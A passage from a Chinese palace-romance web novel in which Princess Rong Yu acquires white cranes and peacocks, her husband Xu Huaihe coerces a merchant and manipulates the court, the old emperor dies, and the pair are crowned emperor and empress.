容钰伸出手指,点了几只看上去:“就要这六只吧,凑个吉利数字。” “好,”柳三又恢复了笑眯眯的奸商模样,“在下就收一半的钱,六百两银子吧,当做无法卖给殿下白孔雀的赔礼,还望殿下原谅。” “多谢。”容钰客气地点点头,“还得劳烦柳家将这六只白鹤送去公主府上,不知何时能送到?” 柳三拍胸保证:“今日就能,殿下请放心!” 送走了容钰和顾云溪,柳三松了一口气,连忙让下人们将昭华公主殿下要的那六只白鹤抓起来,关进笼子里面,准备最好的马车,用最快的速度送到公主府上。 吩咐完之后,柳三才回到了自己的账房里,他刚坐下来,准备将今日的进账写进账本里,就察觉到脖子微凉,有一股冷意从后背一直蔓延到头皮,他头皮发麻,声音都有些发颤,勉强稳住心神:“不知阁下是来寻仇,还是来寻财的?” 已经得到了青竹的汇报,以及从暗桩那里了解了事情的全部经过,许怀鹤轻轻笑了声:“寻白孔雀的。” 柳三不敢回头,但莫名觉得这声音有些耳熟,他咽了口唾沫:“阁下有所不知,这白孔雀我们柳家实在不能……” 剩下没说完的话全都堵在了喉咙里,柳三一个字也不敢再往外吐,他明显感觉到架在他脖子上的刀刃往里陷了一些,皮肉有阵阵的刺痛,如果他再说一个不字,恐怕下一秒刀刃就会割破他的喉咙。 “实在不能?”许怀鹤慢条斯理地重复着他最后几个字,“柳家灭门和白孔雀孰轻孰重?柳三郎应该能分清吧。” 柳三的心跳骤停,额头上的冷汗滴下来,他终于想起来这声音是属于谁的—— 许怀鹤! 许怀鹤的确有能力灭门,可他怎么会是这种人?!! 第69章 第69章皇帝驾崩了。 回到公主府,容钰下了马车,由马车继续送顾云溪回镇国公府。 虽然没能买到白孔雀,但买了六只白鹤,容钰心里也轻快了不少,她前脚刚在桌边坐下歇息,抿了口温茶,后脚柳家的人就已经将白鹤送到了公主府门口,效率奇高。 有百姓悄悄地站在街外,朝公主府门口打量,目光在那六只高傲的白鹤身上来回看,都觉得新奇,又不禁感叹公主果然家底丰厚,想当初昭华公主殿下出嫁的时候,嫁妆和聘礼都能围着长街绕两圈,真是富可敌国。 换做以往,容钰是不会让柳家大张旗鼓将白鹤送来的,生怕让那些可恶的言官瞧去,又在外面坏她的名声,说她挥霍,在父皇那里状告她奢靡无度,惹父皇不快。 如今她一身轻松,再也不必在乎那个男人的所思所想,又对自己如何,对方想杀妻杀女,根本不配为人父,况且买几只白鹤怎么就算挥霍了,她又没有像户部前侍郎刘大人那样贪污军饷,中饱私囊。 再怎么样,还有许怀鹤为她兜底呢,许怀鹤可是日后的皇帝,自己就是皇后,谁敢说她的不好? 容钰轻轻哼了一声,有些傲然地端起茶杯,又抿了一口温茶,清了清嗓子站起身,走到院门口,看着柳家的人和公主府里的下人将关着白鹤的笼子抬进来,一路去了公主府里的花园里,到了水池边。 那六只白鹤的状态极好,一入水池就各自找到了舒服的地方饮水觅食,哪怕换了一个环境也没什么太大的反应,容钰仔细看了看,才发现它们的脚上都戴着不明显的细环,控制住了双脚的行动,也遏制住了它们飞翔的本能。 柳家的养鹤人正在向公主府里的人交代养白鹤的事宜:“腿上的铁环千万不能取下,一旦没了铁环,它们可就飞走了……这池子里的锦鲤它们也吃,若是公主殿下不舍这些漂亮锦鲤,就寻一些普通的鱼虾,虫子等物喂养……” 他说着,看了一眼池子,清澈的池水碧波荡漾,依稀能够看到因为受惊而飞快游动的丹顶锦鲤和九纹龙锦鲤,每一只都金贵的不得了,那白鹤一口就吞了,他看着都心疼。 容钰抱着雪团,她站在池边的凉亭里,静静欣赏着那六只白鹤高傲美丽的身姿,越看越觉得自己花的银两不亏,雪团好奇地歪着脑袋,看着几只从没见过的大鸟,想从容钰的怀里扑腾出去,被容钰轻斥了一声,又老老实实地不动了。 柳家的人走了,看完了白鹤,见它们逐渐适应了公主府里的环境,容钰也放下心,转身回到自己的院子,但她刚走到院门口,就听到外面又传来了更大的喧闹声,还有连连惊叫。 这样大的动静容钰想不注意都难,她转身,有些讶异地问从外面赶过来的小丫鬟:“外头出什么事了?” 不会是漠北出兵了吧?! 小丫鬟脸上神色震惊,还带着几分恍惚,她缓了缓,终于将舌头捋直:“回殿下的话,外头……外头,驸马带着两只白孔雀回来了!” 这一段话里的含义太多,容钰一时没能反应过来,愣在原地,她抓着手里的锦帕,直到帕子都被捏出了几道皱痕,她才同样恍惚地“嗯”了一声,脑海里思绪纷飞。 柳家不是说这白孔雀不卖么?千金都不换,拿什么都不换,怎么如今又送来了公主府?还是许怀鹤带回来的,莫非是许怀鹤逼迫柳三,又…… 那夜的血和腥臭似乎又一次出现在她的面前,容钰没忍住反呕了一声,她用帕子掩住唇角:“去看看。” 公主府门外,外街早就被围了个水泄不通,百姓们远远站在街边看着,不敢靠近公主府门口,但个个都伸长脖子,视线黏在那笼子里的两只白孔雀身上,根本舍不得移开。 现下比昭华公主出嫁大婚那日都要热闹,有人连生意都不做了,铺子也忘了关,都要挤到人群里去,想近距离看一看传说中“神兽”的真面目。 普通百姓连孔雀都未曾见过,许多人终其一生都得不到哪怕一片孔雀的羽毛,更别提见到柳家用了好几代人,费了大量精力和时间才寻到的珍惜白孔雀,全都瞪大了眼睛,张大了嘴巴,以为是国师大人从天上带下凡尘的仙兽。 更有甚者,已经跪倒在路旁,对着笼中的白孔雀,还有骑马走在前面的许怀鹤磕头呢喃,口中称呼着许怀鹤为真仙,觉得他就是下凡来救世,做开世明君的,无不拜伏。 人群中,有看热闹的官员默默交换了眼神,支持许怀鹤登基的自然高兴,而犹豫的中间派则越发偏向许怀鹤,那些不支持许怀鹤,还怀有野心的反对派则愈发绝望,知道许怀鹤在百姓心中的威势更重,事到如今,除了许怀鹤,恐怕再也没有人能坐得稳皇椅。 容钰已经到了公主府门口,她站在深沉而厚重的大门内侧,微微抬头就能看到一袭白衣,清风明月的许怀鹤。 他看上去和百姓口中的真仙人似乎的确没有什么两 样,眉目淡然,带着极其难得的仙气和俊朗,可容钰知道,那副好皮囊下隐藏的是怎样深沉的算计,以及可怖的杀人不眨眼。 许怀鹤的视线忽而往下一低,正正巧巧和她对视上,和之前的许多次一样,只要她看向许怀鹤,许怀鹤总是能在人群中精准定位找到她,对她温柔地浅笑起来。 容钰忽然觉得通体发寒,她有些狼狈地偏头,避开许怀鹤的注视,这才看到了笼中那两只惴惴不安的白孔雀,它们的确很美,美的不可方物,美的独一无二,让她的心神都有一瞬间被摄住了,只能看到它们的美丽和珍稀。 容钰的躲避太过明显,还有她那一瞬间的慌乱都被许怀鹤看在了眼里,有过肌肤之亲和床底之欢,他又向来擅长察言观色,只一眼就看出容钰心有不安,在害怕他。 许怀鹤原本含在嘴角浅笑忽然消失殆尽。 他的眸色原本就深,现在看过去更深不见底,身上都起了一层寒气,原本跟在他身后一同回来的青竹忽而起了一身冷汗,抬头看过去,那股气息又消失不见。 但动物何其敏锐,后面笼子里的两只白孔雀原本就因换了环境,又被这么多人围观而害怕,如今感受到许怀鹤身上散发出来的气息,更是惊得扑扇着翅膀,想从笼子里面飞出来,尾巴拍打在笼子上,还掉了一根洁白的尾羽,被许怀鹤的下属眼疾手快地捡了起来,恭恭敬敬地送到许怀鹤手边。 许怀鹤漫不经心地接过,夹在手指间,对着身后的人群摇摇拱了拱手,就带着身后的下人和两只白孔雀入了公主府。 公主府的大门关上,隔绝了外面窥探的视线,两只白孔雀也消失在了众人的目光中,没有热闹看,人群渐渐散开,街道又恢复了本来的安静。 容钰已经退到了花厅,她转身离开时的脚步略有些仓促,这会儿心神不宁地看着门口,许怀鹤大踏步地向她走来,脸上是她熟悉的,只对她温润的笑,手中还拿着一只白色的孔雀尾羽,递到她手心里:“殿下,喜欢吗?” 容钰愣了几息,她看着静静躺在手心里的洁白无瑕的孔雀羽毛,心忽然一颤:“……你拔下来的?” 许怀鹤看着她,心往下沉了一寸,有苦涩的味道在唇角散开,这种感觉很陌生,是被爱的人不信任,被怀疑所产生的无可奈何,语气委屈:“当然不是,这是那只公孔雀自己掉的,莫非在殿下心中,我就是那样心狠的人?” 他当然是。 但他不希望自己在容钰的心中是。 知晓是自己误会了许怀鹤,容钰有些尴尬,她伸出指尖,轻轻拨弄了一下手中那根白孔雀的羽毛,手感柔软丝滑,如同上好的绸缎,但表面却又散发着珍珠一样柔和的光泽。 也许是被许怀鹤的话说的有些心虚,容钰忍住方才的猜忌,用询问的语气,尽量装作寻常,淡然地开口:“这两只白孔雀,你是如何得来的?” “用养气丹的方子换来的。”许怀鹤声音淡淡,仿佛只是提起了一件微不足道的小事,语气中也没有什么不舍,“柳家想要,我便给了。” 身后的青竹将头埋的更低,国师大人这些话哄哄公主殿下便也罢了,她可是知道真相的。 国师大人得知公主殿下要去柳家买白孔雀后,就从军营赶了过去,知道公主殿下必定无功而返,控制了柳家庄上下,以柳家全家的性命威胁,让柳三交出白孔雀。 国师大人早就有要让柳家为他所用的计划,几乎不费吹灰之力就攻破了刘三的心防,顺利拿到了那两只白孔雀。 至于养气丹,国师大人的确是把方子给了出去,但那是和柳家合作,也是对柳家的安抚,而且养气丹卖出去赚到的钱,国师大人依旧能拿一半,稳赚不亏。 容钰并不知晓其中内情,她结结实实地吃了一惊,养气丹有多珍贵,她自然是明白的,那可是许多人做梦都想要,趋之若鹜的东西,比玉容膏还要珍稀上百倍,之前只有父皇才能享用,高官贵族想要一颗都不行,可她没有想到许怀鹤竟然愿意为了自己,把丹方都交出去。 加上之前对许怀鹤的误会,容钰心里更加愧疚,她主动走到许怀鹤面前,抓住了许怀鹤的衣袖,有些扭捏地侧了侧身子。 衣袖被晃了晃,这是公主殿下惯常用的撒娇服软的手段,许怀鹤微微勾了勾唇角,听到她开口,声音软的像春水,从心坎上缓缓流过:“谢谢你呀,许怀鹤,你对我真好。” “臣既然娶了殿下,自然会一辈子对殿下好。”许怀鹤反手握住容钰柔软的小手,紧紧包裹在自己的掌心里,不给容钰一丝一毫逃脱的机会,声音低而沉,“殿下不必对臣有多好,能陪在殿下身边,臣已经满足了。” 许怀鹤向来会拿捏人心,这时候又后退一步,自降身份称起了“臣”,惹得容钰更加心疼他,连忙带他进了卧房,连白孔雀也不去看了,全权交给柳家的人打理,还亲自为他斟了茶,看着他喝完。 许怀鹤的喉结上下滚了滚,几次克制住笑意,才抱着容钰进了浴房,不多时,里面就传来了微妙的水声,和令人脸红心跳的声响。 一个时辰后,容钰裹着轻纱,被许怀鹤横抱着从浴房出来,轻柔地放在了床榻上,她扯过锦被盖住自己,耳朵和颈后都红透了,偏过头不想看许怀鹤。 许怀鹤轻笑一声,往外走了几步,就当容钰以为今夜许怀鹤不会再做乱时,许怀鹤突然挑开床帐上了床榻,手里拿着已经洗净擦干的那支孔雀尾羽。 容钰有些不明所以地半托着腮,偏头看他,声音里还带着几分未退的慵懒:“这是要做什么?” 答案她很快就知道了。 原本摸起来光滑如绸缎的羽毛轻拂过皮肤表面,带起一阵颤栗,和摸在手里的感觉截然不同,也和许怀鹤手指的感觉全然不一样,若即若离,似云似雾。 容钰以为和许怀鹤成亲之后,许怀鹤在床榻上的那些花样她已经见得够多了,但没想到许怀鹤还能更加浪荡,做出连那些话本子上都不敢做的事,比嬷嬷给她看的避火图上的画面还要令人面红耳赤,她根本招架不住,想要求饶,话到嘴边却又不成调。 念着昭华公主殿下的身体底子弱,昨夜也尝了甜头,许怀鹤贴心地想让公主殿下今夜歇息一晚,并没有只让自己快活,也没有做到最后一步,而是尽心尽力地伺候起容钰,看公主殿下露出情态,双眼迷离。 蜡烛燃尽之前,许怀鹤终于丢开已经完全浸湿的白色孔雀尾羽,将已经精疲力尽的昭华公主殿下抱在怀里,相拥而眠。 醒来时许怀鹤已经不在身边,容钰将自己团进被子里,脑海里不断闪过昨夜的某些片段,直到把自己憋的喘不过气才掀开被子,红着脸拉铃,让春桃和青竹进来。 梳洗完毕,换好衣裙,容钰坐回桌边准备用早膳,一眼就看到了摆在小几边,已经被重新清洗干净,又恢复了光滑蓬松的孔雀羽毛。 她脸上顿时更热了,原本想让人丢掉,但犹豫一番后还是舍不得,让人把孔雀羽毛拿下去,放进箱子里,还特意选了最底下的箱笼,决计不让许怀鹤再找到,再把昨夜的花样用在自己身上。 “驸马呢?”容钰随口问了句,“去上早朝了吗?” “回殿下的话,是,驸马爷已经上完早朝,又和国公爷去军营练兵了。”青竹连忙回答。 许怀鹤和舅舅接连两日都去了军营,容钰心中的担忧更深,不好的预感也更重了,她突然想起了什么,继续询问青竹道:“昨日我让你去军营看看,打听许怀鹤和舅舅都说了些什么,你打听到了吗?” 青竹顿了顿,她昨日跟随国师大人回府来的时候,就想同公主殿下说这件事,但国师大人一直陪在公主殿下身边,又进了卧房,亲密无间,她不好贸然打扰,便一直拖到现在。 如今公主殿下问起,她很快准备好国师大人交代 的措辞:“回殿下的话,奴婢打听到了,驸马爷和国公爷说的没什么大事,就是想看一看这批新兵比起前几年的士兵如何,驸马爷还和国公爷商量着要不要再从户部拨一笔军饷去边关,让边关的战士们过得更好一些。” 许怀鹤如今监国,又是未来板上钉钉的新帝,自然是有这个权利的,容钰听着,放心下来,丝毫不怀疑青竹也会对自己说谎。 她胃口都好了不少,加上昨夜太累,吃了一整碗雪蛤粥,最近本就被养的红润的脸色看起来气血更足,神采奕奕。 用完早膳,雪团“喵喵”叫着跑进屋来,熟练地跳上她的膝盖,任由她抱着。 容钰颠了颠雪团,觉得雪团最近又长胖了些,她都快抱不动了,宠溺地点了点雪团的脑袋:“走,我带你去看这天底下唯二两只白孔雀,你可不许调皮,千万别吓到了它们。” 她今日穿了件鹅黄的马面裙,轻便怡人,身上有遮挡不住的少女气息,成了蓬勃的春日里最亮眼的一道风景,甚至隐隐盖过了院中暖棚里两只白孔雀的风头。 两只白孔雀已经熟悉了院内的环境,加上喂养的人将它们照顾的极好,如今已经放下了戒备心,亲亲热热地依偎在一处。 那只公孔雀还在容钰看过来的时候恰巧开屏,白色的羽毛依次展开,如同一把洁白无瑕的扇子,抖动的时候又如同纷纷扬扬的雪,让人看的目不转睛,皆被它的美丽所震撼。 容钰此刻再一次理解了为何柳家会千金万两都不换,这两只白孔雀实在太漂亮了,她甚至要想不出如何描述,心想恐怕这世上最厉害的画师来了,也无法将它们一半的美丽刻印在画卷上。 就连雪团都被惊住了,它从未看过这样的活物,先前的白鹤就足以让见识并不多的它震惊,此刻看到更怪异的大鸟,它竟有些害怕,连忙往容钰的怀里钻了钻,耳朵高高立着。 但容钰此刻顾不上它,随手将它交给了等候在旁边的春桃,自己则从养孔雀的下人手中接过一把洗净的青草,试探着伸出手,将青草递到两只孔雀面前。 两只孔雀先是往后退了退,警惕地转了几圈,随后才慢吞吞地走过来,仰着高傲的脖子,轻轻往前一伸,就从容钰的手中抢过了青草,津津有味地吃了起来。 容钰不自觉笑起来,又抓了一把小麦,抛洒在它们面前,两只孔雀啄食的动作变得更快,但依旧优雅高贵。 她寻到了喂养孔雀乐趣,接下来的几日,每天一睁眼就往院子的暖棚里跑,忙着去和孔雀逗乐,也管不上每天早出晚归的许怀鹤,知道许怀鹤有要事繁忙。 两只孔雀也被养熟了,知道容钰并不会伤害它们,还会给它们喂吃的,逐渐和容钰亲密起来,围绕在容钰的身边,有时心情好了还会开屏给容钰看。 雪团渐渐地也不怕这两只大鸟了,但看到容钰和大鸟这么亲密,它有些不满,喵呜喵呜地叫着,想要让容钰多摸摸自己。 两只大鸟嫌它吵闹,对它更不满,甚至试图去啄它,又被雪团躲开,奇妙地上演了一出争风吃醋的戏码,下人们都啧啧称奇。 负责养白孔雀的人是个嘴甜的,他笑着道:“公主府里灵气足,白孔雀和猫儿沾了公主殿下和驸马爷身上的仙气,自然就通了灵性。” 容钰眉眼微弯,她笑起来,赏了养孔雀的人一枚金锞子,听对方千恩万谢完,正要转身回卧房,就看到小丫鬟匆匆忙忙地跑过来,因为跑的太急,甚至跌了一跤。 小丫鬟也顾不上什么,继续爬起来往这边冲,气喘吁吁地停下来,一脸惊慌失措,声音都因为太着急和恐惧而有些尖锐:“殿下,皇上,皇上不行了!” 容钰的脑海有一瞬间的空白,甚至没能反应过来对方说了什么,好几息之后才回神,依旧愣怔,缓慢地发出了一个轻飘飘的字:“……啊。” 同一时刻,从皇宫的方向传来沉重而飘渺的钟声,每一下都像敲在人的心坎上,让人的心一点一点沉下去,钟声逐渐传出了京城,朝向更远的方向。 大街上,不论是正在做生意的,还是正在行走的路人全都停了下来,不约而同地看向了皇宫的方向,静静地听着这钟声,足足有八十一下才停止。 皇帝驾崩了! 众人只是慌了一瞬,就很快定下心来,如今国师大人监国,陛下驾崩,国师大人就会作为新帝登基,大夏依旧稳定,不会有政乱,更不会打仗,国师大人仁慈,是谪仙一样心善的人,是上天派来救他们的,有什么好怕的! 没什么好怕的,容钰默默地在内心告诉自己,她其实早有准备这一天的到来,却没想会来的这么快。 皇宫里很快就匆匆派人来请昭华公主殿下,容钰已经换了一身素白的衣裙,戴了白色的绢花和白色的帷帽,坐上低调的马车入宫。 一路寂静,她的心情也十分平静,大街上听不到为皇帝哭泣的声音,容钰知道对方在位十几年,实绩并不多,只能说无功无过,真心实意替对方哭的人自然没几个,大家都关起门来,有喜事的人家更是往后推了日子,先缓过这段时日。 皇宫内的氛围更显肃穆沉重,容钰的步子也陡然重了几分,她下了软轿,缓缓走向大殿。 皇帝,不,现在已是先帝的遗体已经入了棺中,许怀鹤就站在另一侧,看她过来,立刻走下台阶来牵她的手。 入手冰凉,许怀鹤垂眸:“殿下节哀。” 先帝的棺边,由大太监牵头,还有一众嫔妃都跪在棺前低声啜泣,而容钰一滴眼泪也流不出来,当然此刻也无人在意,更无人敢苛责她,都在忧心着自己的命运,不时悄悄打量一眼旁边许怀鹤的神情,想要讨好巴结,为自己谋个好去处。 容钰不想跪,也不想哭,更不想为先帝点香,熟悉的干呕感又涌到喉咙,她偏过头,低低说了声不舒服,许怀鹤面色一紧,立刻带着她离开了大殿,不顾身后众人探究的视线。 第70章 第70章我不想死…… 殿内的熏香盖了一层又一层,容钰靠坐在软榻上,用手指轻轻抵着太阳穴,另一只手搭在软垫上。 太医诊完脉,收起帕子,转身对着许怀鹤行礼低声道:“昭华公主殿下的身子没什么大碍,只是一时神思过重,近日也不宜行房事。” 听到“行房事”三个字,容钰轻揉太阳穴的动作一顿,微微偏过脸。 许怀鹤听完不置可否,又亲自为容钰把了一次脉,收回手,这才不咸不淡地“嗯”了一声,让太医下去煎药了。 见许怀鹤在自己身旁坐下,容钰自然地依偎过去,将头靠在许怀鹤的肩膀上,声音带着一丝迷茫:“我没事,我只是……他是我的父皇,可他死了,我却并不觉得难过,我是不是太狠心了?” “当然不是。”许怀鹤握住她的手,将她的手捧在手心里,用自己手掌的热度温暖她。 许怀鹤注视着容钰,他时常觉得公主殿下实在太过仁慈,又太心软,但这也正是公主殿下的迷人之处,像一张洁白无暇的春风纸,不沾点墨,不谙世事。 老皇帝死的好,有什么可伤心的?许怀鹤这么想着,但没说出口,怜爱地牵着容钰的纤纤玉手:“殿下若是累了,就回公主府休息吧,这里的事我来处理便好。” 容钰刚想点头,又止住了,虽然她已经不怎么在乎自己的名声,反正嫁了人,又有许怀鹤撑腰,别人也不敢明着指责她,但毕竟是国丧,她就这么回了公主府,连表面功夫都不做,还是有些说不过去。 “我还是留下来吧,就住在坤宁宫里。”容钰想了想,“今夜是不是要守灵?我跟着你守几个钟头,就回坤宁宫休息。” 母后生前所住的坤宁宫她最是熟悉,毕竟在那里生活了十五年才离开,反正许怀鹤日后登基成了皇帝,她也会跟着许怀鹤回到皇宫里来,依旧住在坤宁宫里,不如早点搬过去。 许怀鹤颔首:“好。我让人送你回坤宁宫,要是缺了什么,尽管告诉大太监,让他挑最好的给你送去。” 容钰弯了弯唇,被许怀鹤扶着起身,一路牵着离开了大殿,直到坐上软轿,许怀鹤才松手,目送着她离开。 容钰一走,许怀鹤脸上温柔的浅笑就沉了下去,恢复了他本来的冷漠。 他身后的小太监忍不住打了一个哆嗦,但一直是许怀鹤手下的小宫女却习以为常,镇定地低头站着,小声提醒道:“国师大人,镇国公他们已经到了,另外几位高人也已经来了。” 许怀鹤转身回到大殿等候,白衣翻飞,衣袍边角的白鹤也跟着展翅,却怎么也飞不出衣边的囚笼,恣意潇洒都变成了笑话,只剩野心勃勃。 在听到丧钟敲响的一瞬,镇国公的心里就重重一沉,立刻换了白衣,马不停蹄地赶往皇宫,路上遇见了右相杜科,两人都没什么心情交谈寒暄,一路到了大殿。 在见到许怀鹤的那一瞬,两人的心神都同时莫名稳住,立刻行了礼,又去先帝的棺材前跪拜上 香,这才退回到许怀鹤身后站着。 数十位得道高人已经入了大殿,他们身穿法衣道袍,围成一圈,盘腿坐下,对着中心的棺木高声诵经。借着诵经声的遮掩,右相杜科最先按捺不住,急急道:“殿下准备什么时候进行登基大典?” 镇国公的脸上本来还有一丝没有散去的伤感,毕竟君臣这么多年,他也实实在在付出过忠诚之心,可惜所托非人,这会儿听到杜科的话,他脸上的神情一肃,也跟着看过来,想知道许怀鹤怎么想。 许怀鹤淡淡道:“尽快吧。” 出乎意料的,许怀鹤这一次的回答竟然不是“再等等”,“不急”,杜科和镇国公都同时愣了一瞬。 听到许怀鹤接下来的话,两人又神色一惊:“先帝去的日子不大好,犯了地劫星,若葬礼拖延,恐怕引发五星错行,若葬礼太奢,恐怕地气不敛,必生旱涝疫病。” 许怀鹤这话的意思,就是先帝的葬礼不仅要尽快办妥,而且还必须从简,不然就会引发天灾人祸,引得大夏动荡。 杜科不由得有些担心,那些反对派恐怕会更加猖狂,抓住这一点对许怀鹤施以攻击,觉得他不敬先帝,居心叵测,但他转念一想,如今钦天监尽在许怀鹤的掌握之中,许怀鹤既然敢这么说,那必定是有依据的,其他人肯定抓不到错处。 那些胆敢反对许怀鹤决策的人,谁敢扛住这么大的责任,和天道作对,顶着未来发生天灾的可怕,非要让先帝风光大葬? 那些人恐怕个个都要装孙子,一声都不敢吭吧!杜科瞬间觉得畅快极了,要不是时机和地点不对,他真想鼓掌大笑三声,再顺势阴阳那些人几句,看他们气的吹胡子瞪眼,却拿他没有任何办法。 于是既荒谬又合理的一幕发生了——先帝尸骨未寒就要下葬,并且进行的几乎悄无声息,一切都用了最简朴的物件,陪葬物品只是他平日常用的,嫔妃们个个都平安,就连宫人都活着,无人为他殉葬。 杜科看的咋舌,都要忍不住在心里叹一句,好歹是一位帝王,天下之主,这身后事还不如一位三品官员,但如今谁会在乎,又有谁会记得?没见那些人早早就沉浸在恭迎新帝新后的喜悦中了吗? 钦天监已经示警,先帝冲了地劫星,需早日简单下葬,守孝期自然也被缩短,以日代月,仅守了二十七天便算完成; 又称许怀鹤和容钰命格奇特,两人密不可分,国不可一日无君,也不可一日无后,登基大典和封后大典在同一天举行,喜上加喜,能使大夏国运绵延,繁荣昌盛。 这话一出,再无人敢置喙,礼部和钦天监忙的脚不沾地,都在为即将到来的登基大典和封后大典做准备,要忙的事太多,个个都头晕眼花,又不得不再三谨慎小心,生怕出了岔子。 更别提许怀鹤还来了招釜底抽薪—— 他让先朝的太监出面,加上前太医院院判的证词,以及当年参加宫变几乎被灭口的侍卫作证,所有证据详尽无可指摘,处处逻辑缜密,证实当年的宫变并非先朝太子弑父弑君,而是有人刻意毒害先朝皇帝,做局嫁祸太子,妄图先杀君再杀储君,先朝太子奋力反抗,最后还是没能逃过,被逆贼谋害。 这逆贼是谁,未能明说,可一字一句都是暗示,众人心中都清楚,就是那位已经躺在棺材里的先帝,但这时还能和一个死人对峙什么呢?死人又不能开口,当然是许怀鹤说什么,“真相”就是什么。 至此,许怀鹤彻底站稳了清清白白的正统身份,谁要敢反对,谁就是新的逆贼。 许怀鹤登基大局已定,民间一片欢腾,许怀鹤最得民心,百姓们都指望着他能成为一代明君,希望他能早日登基,朝堂上反对派早已噤声,宫里的宫人们也盼着新帝早些入主,希望新帝和皇后娘娘仁善。 就连容钰都感受到了宫里既欢喜又忐忑紧张的氛围,她手里捧着一本册子,上面是先帝嫔妃的名单,她一边看,一边抿了口清茶,询问站在旁边的青竹:“许怀鹤说要将这些人全都放归,至于想不想留下来,由这些人自己决定,是吗?” 容钰说完自己又愣了愣,心想着等许怀鹤登基以后,自己就不能这样直呼许怀鹤的大名了,而是要称其为陛下,许怀鹤也不用在她的面前自称为“臣”,而是一声威严的“朕”。 “回殿下的话,是的。”青竹回答,“宫人们已经去问了,这些娘娘们大多都回了家中,剩下的挑了碧月轩那处僻静地方,想在宫中安度晚年。” 嫔妃们大多都是朝臣家中的女儿,只要不是娘家已经没落,或是犯了重罪被流放的,都选择了归家。大夏风气开放,二嫁也不是不行,要是身份尊贵一点,娘家好一点,指不定还能再寻个好夫婿。 剩下的便是一些被先帝宠幸过的宫女,她们身世本就可怜,就算放归也无家可归,不如留在宫中,好歹有个身份,只要安安分分的,也能够度过余生。 只是可怜了这些公主们,如今身份尴尬,又不得不留在宫中,估计年龄一到就得嫁人,要是新帝狠心些,把她们当做物件儿,当做政治牺牲品送去联姻,随手赏给哪个大臣也不是不可能。 这些公主们也知晓自己处境艰难,纷纷打起了投靠讨好容钰的主意。容钰是未来的皇后娘娘,是这后宫之主,管理六宫的一切,要是能在容钰这边讨好得脸,将来的日子也会好过很多。 加上容钰是她们的亲姐姐,比起讨好别人又多了一层亲缘在,公主们个个鼓足了勇气,也卯足了劲儿,这些天一早就来坤宁宫请安,搞的容钰似乎已经提前过上了当皇后的日子。 偏偏她们又特别害怕许怀鹤,见了许怀鹤就跟老鼠见了猫一样,心惊胆颤,一刻都不敢多留,只要许怀鹤来坤宁宫陪容钰,她们就立刻找借口起身离开,慌得和逃命一般。 容钰都有些怀疑,许怀鹤是不是当着她们的面又做了些什么,才引得这些妹妹如此害怕他。 不得不说,容钰已经猜对了一半,那日皇贵妃和永宁公主死的时候,她们中的有些人亲眼见过尸体被拉出宫,被皇贵妃和永宁公主的惨状吓得至今没能睡好一晚。 先帝死后,她们更是被大太监警告过,要处处尊敬未来的皇后娘娘,千万不能有不该有的心思,否则就和皇贵妃和永宁公主一个下场。 容钰本来就好睡懒觉,看着这些妹妹们战战兢兢,如履薄冰,她心中也不是滋味,让她们都放宽心,日后不必常到她的坤宁宫来,并许诺等她们到了出嫁的日子,一定会为她们添嫁妆,给她们添荣光。 有了未来皇后娘娘的承诺,这些公主们终于安心了一些,千恩万谢,差点哭出来,不再来打扰容钰。 容钰得了清净,放下册子,下意识地想去拿手边的话本子,又叹了口气,转而拿起了旁边的礼册,上面全是登基大典和封后大典她要做的事,密密麻麻,每一步都为她写好了。 她记得头都发晕,趴在桌上直叹气,明明许怀鹤要做的事比她多太多,却早就记住了大典上要做的一切流程规矩,还每天都能抽出时辰来陪她用饭,甚至晚上还有精力折腾她…… 容钰气闷地用力揉了揉脸颊,在脸上留下一小 团红印,又直起身,重新背诵起礼册上的内容,终于在大典举行的前一天记住了。 登基大典当日,容钰早早被春桃和青竹叫醒,她略有些忐忑地看向铜镜,由春桃和另一位大宫女为她梳妆,描眉点唇,是她极少用的艳丽而深的红色,看上去凌厉又庄重。 高高竖起头发,戴好厚重的九龙四凤冠,穿好深青翟衣,佩玉环绶,容钰已经感受到了疲惫,她深吸一口气,缓缓转身,对着前来迎接的大太监微微颔首:“走吧。” 封后的凤辇和金册金宝由銮仪卫护送至坤宁宫外,容钰被春桃和青竹扶着上了凤辇,这才察觉到自己指尖微颤,她不由得捂住胸口,直到凤辇逐渐慢下来,又听到外面恭敬的呼喊,她才回神转头。 属于许怀鹤的龙辇就在身侧,象征着钦天监所说的,礼部和其他大臣吵了十几日上“帝后同尊”,她只要转头,就能看到十二章纹衮冕,玉带赤舄,持镇圭的许怀鹤。 许怀鹤的身上多了些说不清道不明的东西,容钰看得心颤,刚觉得陌生,心里害怕,就看到许怀鹤忽而对她弯唇浅笑,还是一如既往深爱她的模样,心里如释重负,也笑了起来。 旭日初升,阳光穿透薄薄的云层,在大地上泼洒光辉,远处隐隐有彩色的云飘过,钦天监的人喜的面色发红,都觉得这是吉兆。 许怀鹤面色淡然,他下了龙辇,扶着容钰来到天坛,率文武百官行燔燎礼,宣读即位告天文,声音冷冽,一圈圈向外扩散,向百官,向大夏,向天地宣告,祈求天命所归。 容钰静静地听着,她微微仰头看着许怀鹤冷峻的侧脸,等待许怀鹤再一次牵起自己的手,用温暖和有力告诉她,他在,他会一直在她身侧。 他们接下来行至太庙,以三牲九鼎祭祀列祖列宗,而后新帝升御座,鸿胪寺官鸣鞭三响,由镇国公宣读册文,授容钰金册凤印,在众人恭敬的声音中,容钰与许怀鹤共受群臣朝贺。 容钰有一刻的恍惚,自己居然成了皇后,这个上一世的她从来没有想过,也根本想不到的身份。 这一世,她再也不会重蹈覆辙,不会被送去和亲,不会病死在路上,不会受他人的侮辱,她依旧是天底下最尊贵的女人,有享不尽的荣华富贵,有最爱的夫君,有疼爱她的家人。 这一切都是真实的吗?会不会她从未重生,这些都只是她的幻想,只是一场虚假的梦? 容钰的心骤停了一拍,直到大典结束,她回了坤宁宫,累得刚脱衣卸妆就倒头睡过去,心里也始终存着事。 入夜,许怀鹤将她抱进怀中,刚闭眼就听到轻喃:“我不要嫁给耶律……我不想死……” 许怀鹤猛地睁开眼。【你现在阅读的是 】 70-76 第71章 第71章娘娘有孕了! 屋内清香静燃,许怀鹤起身,单手撑在身侧,墨发从肩膀上垂下来,更显得他妖冶如恶鬼,眉目如画。 有微弱的烛光从床帐透进,他垂眸,深深地注视着容钰恬静的睡颜,伸出指尖,轻柔地抚摸过容钰的侧脸。 “殿下莫怕。”许怀鹤放轻声音宽慰,即便知道昭华公主殿下在睡梦中兴许听不到他的声音,但依旧耐心,“我在呢。殿下既然已经嫁给我,这一生一世都属于我,又怎么会被送去漠北和亲呢?” 至于死,许怀鹤神色冷凝,静静摸着容钰的脉搏,脉象平稳有力,已经比最初好了不少。 